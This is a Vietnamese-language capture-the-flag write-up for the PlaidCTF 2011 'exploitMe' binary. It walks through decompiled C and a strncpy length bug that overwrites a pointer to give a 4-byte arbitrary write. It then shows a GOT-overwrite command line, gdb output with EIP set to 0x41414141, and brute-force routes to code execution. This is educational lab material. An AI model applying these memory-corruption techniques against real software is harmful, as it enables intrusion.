Thứ Ba, 26 tháng 4, 2011

plaidCtf 2011 - exploitMe writeup

Các bạn có thể download Binary của challenges này ở :
http://repo.shell-storm.org/CTF/PlaidCTF-2011/23-Exploit_Me/exploitMe

Thử chạy chương trình lên chúng ta nhận được:

./exploitMe
Regards, Dolan :}
Sau khi sử dụng decompile ra source C và tìm chuỗi "Regards, Dolan" ta sẽ tới được:
>
int __cdecl sub_8048504(signed int argc, char* argv[])
{

if ( argc <= 3 ) {
puts("Regards, Dolan :} ");
exit(-1); }
sub_8048575(argv[1], strtoll(argv[2]), atoi(argv[3])); return 0;
}

Như vậy chương trình sẽ cần 3 biến đưa vào (1) và gọi hàm sub_8048575 ở (2)Tiếp tục phân tích sub_8048575
void __cdecl sub_8048575(const char *str, int a2, size_t len)
{
size_t t; // [sp+50h][bp-1Ch]
char buff[64]; [1] // [sp+10h] [bp-5Ch]

if ( len <= 71 ) [2]
{
t = len;
strncpy(buff, str, len); [3]
if ( t )
*t = a2; [4]
exit(0);
}
}

Chúng ta sẽ chú ý đến những điểm sau:
->Độ rộng của buffer là 64 bytes (1) tuy nhiên chương trình sẽ kiểm tra len <= 71 (2) và sử dụng len này để copy chuỗi str vào buff ở (3).
-> Ở (4) sẽ có phép gán *t = a2
-> Stack của chương trình sẽ có dạng:
[Save EIP][Save EBP]<--- 0x1c bytes--->[t][buff]

Do vậy có thể xác định rằng khi đưa vào chương trình len = 68 nó sẽ copy 68 bytes từ chuỗi str vào buff, 4 bytes cuối cùng chuỗi str sẽ đè lên t và khiến cho phép gán ở (3) nằm dưới quyền điều khiến của chúng ta. ( Chúng ta có thể viết 4 bytes bất cứ đâu).
Để kiểm chứng lại chúng ta thử ghi vào một nơi nào đó! Bởi vì ngay sau phép gán chương trình sẽ gọi exit vì vậy ta sẽ thử bằng các ghi vào GOT của hàm exit.
[26]# objdump -d -j .plt ./exploitMe | grep exit -A4
08048434 :
8048434: ff 25 f4 97 04 08 jmp *0x80497f4
804843a: 68 40 00 00 00 push $0x40
804843f: e9 60 ff ff ff jmp 80483a4 <__gmon_start__@plt-0x10>

./exploitMe `python -c 'print "A"*64+"\xf4\x97\x04\x08"'` 1094795585 68
Segmentation fault (core dumped)
05:49 [root@debvbox]
(~)

[32]# gdb -core=core ./exploitMe
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /root/exploitMe...(no debugging symbols found)...done.
[New Thread 3211]

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./exploitMe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAô'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()


Giá trị ở 1094795585 sau khi convert thông qua strtoll sẽ thành 0x41414141
Việc cuối cùng là chọn địa chỉ để return vào, có 2 cách để thực hiện:
i - Bruteforce return vào stack vì lúc này nx không được bật.
ii- Bruteforce giá trị system call execve+2 ( ở cách này ta sẽ return vào execve+2 bởi vì chương trình gọi exit(0) )